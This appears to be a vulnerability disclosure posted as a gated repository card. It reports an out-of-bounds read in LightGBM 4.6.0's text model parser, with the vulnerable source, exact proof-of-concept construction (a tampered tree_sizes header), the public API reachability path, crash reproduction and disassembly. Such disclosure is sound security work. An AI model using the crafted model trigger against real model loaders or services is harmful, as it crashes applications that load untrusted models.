You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

LightGBM v4.6.0 text-model-loader OOB read (CWE-125)

Target: microsoft/LightGBM v4.6.0 (pip wheel lightgbm==4.6.0, lib_lightgbm.so, BuildID b4ba0e67260c22e3c55ad551a47c2fc89c71a021)

Sink: src/boosting/gbdt_model_text.cpp:547-570, GBDT::LoadModelFromString, tree_sizes fast-path:

std::vector<size_t> tree_sizes = CommonC::StringToArray<size_t>(key_vals["tree_sizes"].c_str(), ' ');
std::vector<size_t> tree_boundaries(tree_sizes.size() + 1, 0);
int num_trees = static_cast<int>(tree_sizes.size());
for (int i = 0; i < num_trees; ++i) {
  tree_boundaries[i + 1] = tree_boundaries[i] + tree_sizes[i];   // unchecked cumulative sum
  models_.emplace_back(nullptr);
}
#pragma omp parallel for num_threads(OMP_NUM_THREADS()) schedule(static)
for (int i = 0; i < num_trees; ++i) {
  auto cur_p = p + tree_boundaries[i];        // NO check that cur_p < end / within buffer
  auto line_len = Common::GetLine(cur_p);     // unbounded while(*str) scan
  ...
}

Common::GetLine (include/LightGBM/utils/common.h:854) is while (*str != '\0' && *str != '\n' && *str != '\r') ++str; β€” an attacker-controlled tree_boundaries[i] offset is dereferenced with no comparison against the real buffer length, before any byte of the buffer at that offset is known to be valid.

PoC construction (the reorder fix)

tree_boundaries[i+1] = tree_boundaries[i] + tree_sizes[i], so tree_boundaries[1] equals tree_sizes[0] (the first element), and it is tree_boundaries[i] β€” not tree_sizes[i] itself β€” that gets dereferenced at each loop iteration i. A naive PoC that puts the huge value last in tree_sizes (e.g. "1 999999999999") lands the huge value in tree_boundaries[2], which is never dereferenced when num_trees == 2 (loop only runs i = 0, 1, using tree_boundaries[0] and tree_boundaries[1]) β€” so it doesn't crash.

The fix applied here: tree_sizes=999999999999 1

  • tree_boundaries[0] = 0 β†’ i=0: cur_p = p + 0, lands exactly on the real Tree=0 block β†’ parses fine (keeps the crash isolated to the intended sink, not a parse error elsewhere).
  • tree_boundaries[1] = 999999999999 β†’ i=1: cur_p = p + 999999999999, a ~10^12-byte wild offset from a ~3KB heap buffer β†’ guaranteed unmapped page β†’ SIGSEGV inside Common::GetLine's first *str dereference.

Full crafted model text: crafted_oob_large.txt. It is a real, working single-tree LightGBM regression model (trained on tiny synthetic data, dumped via Booster.model_to_string()) with only the tree_sizes= header line modified from tree_sizes=301 to tree_sizes=999999999999 1.

Reachability (public API, no file-system trust boundary needed)

lightgbm.Booster(model_str=<crafted text>)
  -> LGBM_BoosterLoadModelFromString   (src/c_api.cpp:1960)
  -> Booster::LoadModelFromString      (src/c_api.cpp:786, len = strlen(model_str))
  -> GBDT::LoadModelFromString         (src/boosting/gbdt_model_text.cpp:421) tree_sizes branch

Loading a LightGBM text model from an untrusted string/file (a common "load someone else's model" scenario, e.g. deserializing a model artifact from a registry / user upload) reaches this sink directly, with no sanitization of tree_sizes anywhere on the path.

Reproduction

Environment: WSL2 Ubuntu 22.04, pip install lightgbm==4.6.0 (official manylinux wheel, no source build / no ASan needed β€” the crash is a plain unguarded OOB read, reproducible on the stock release binary).

$ python3 negative_control_load.py
[negative_control] loading model_str (3081 bytes) via tree_sizes fast-path
[negative_control] OK - loaded cleanly, predict() -> [1.55]

$ python3 trigger_oob_large.py
[trigger] model_str length = 3092 bytes
[trigger] tree_sizes header line:
   tree_sizes=999999999999 1
[trigger] calling lightgbm.Booster(model_str=...) -> should OOB read / SIGSEGV
Segmentation fault (core dumped)
$ echo $?
139
  • Negative control (negative_control.txt, correct tree_sizes=301 matching the real tree, exact same code path / same fast-path taken): loads cleanly and predicts correctly. Proves the crash below is caused specifically by the malicious tree_sizes value, not by model shape, the harness, or the tree_sizes fast-path in general.
  • Malicious model: SIGSEGV, exit code 139, core dumped. Reproduced twice independently (PIDs 29795 and 30611, two separate process launches with different ASLR bases) β€” both crash at the identical instruction offset, confirming deterministic behavior, not a fluke.

Kernel-level confirmation (crash_disasm.txt, crash_symbol.txt, run_transcript.txt)

Kernel segfault record (WSL2 dmesg/journalctl):

python3[29795]: segfault at 63d9db944def ip 00007754ce5a7b45 sp 0000775474c07d50 error 4
  in lib_lightgbm.so[1a7b45,7754ce529000+68e000] likely on CPU 0 (core 0, socket 0)
  • error 4 = user-mode read fault on a not-present page β†’ hardware-level confirmation this is an OOB READ (CWE-125), not a write.
  • Register dump shows R15 = 000063d9db944def, identical to the fault address β€” i.e. the crash is a single dereference of a wild pointer held in r15.

addr2line -f -C -e lib_lightgbm.so 0x1a7b45:

LightGBM::GBDT::LoadModelFromString(char const*, unsigned long) [clone ._omp_fn.0]
gbdt_model_text.cpp:?

The fault offset symbolicates directly to the OpenMP-outlined body of GBDT::LoadModelFromString in gbdt_model_text.cpp β€” the exact target function.

objdump -d at the fault site:

1a7b41: add    (%rsi,%rbp,1),%r15      ; r15 = p + tree_boundaries[i]   (cur_p)
1a7b45: movzbl (%r15),%ecx            ; *cur_p                          <-- FAULTS HERE
1a7b49: cmp    $0xd,%cl
1a7b4c: ja     ...
1a7b4e: bt     %rcx,%r13              ; bitmask test for {'\0','\n','\r'}

This is the compiled form of Common::GetLine's while (*str != '\0' && *str != '\n' && *str != '\r') loop condition β€” the add computes cur_p = p + tree_boundaries[i] immediately before the faulting byte load. Instruction-level match to the source-level sink.

Files

  • crafted_oob_large.txt β€” malicious model text (tree_sizes=999999999999 1)
  • negative_control.txt β€” same model, correct tree_sizes=301, loads clean
  • trigger_oob_large.py β€” loads the crafted model via lightgbm.Booster(model_str=...)
  • negative_control_load.py β€” loads the negative control, asserts clean predict()
  • run_transcript.txt β€” full stdout/stderr + kernel fault records from a live run
  • crash_symbol.txt β€” addr2line symbolication of the fault RIP
  • crash_disasm.txt β€” objdump -d of the fault site

Dedup note

CVE-2024-43598 / GHSA-2586-f3p4-hq84 is an OOB write in src/network/linkers_socket.cpp during distributed-training peer negotiation (a network-triggered race), fixed pre-4.6.0. This finding is a model-file text-parser OOB read in a completely different subsystem (src/boosting/gbdt_model_text.cpp, single-process model loading, no network component), present and unfixed as of v4.6.0 (current tag at time of testing). Categorically distinct bug shape, sink, trigger vector, and CWE class (125 read vs. write) β€” not a duplicate.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support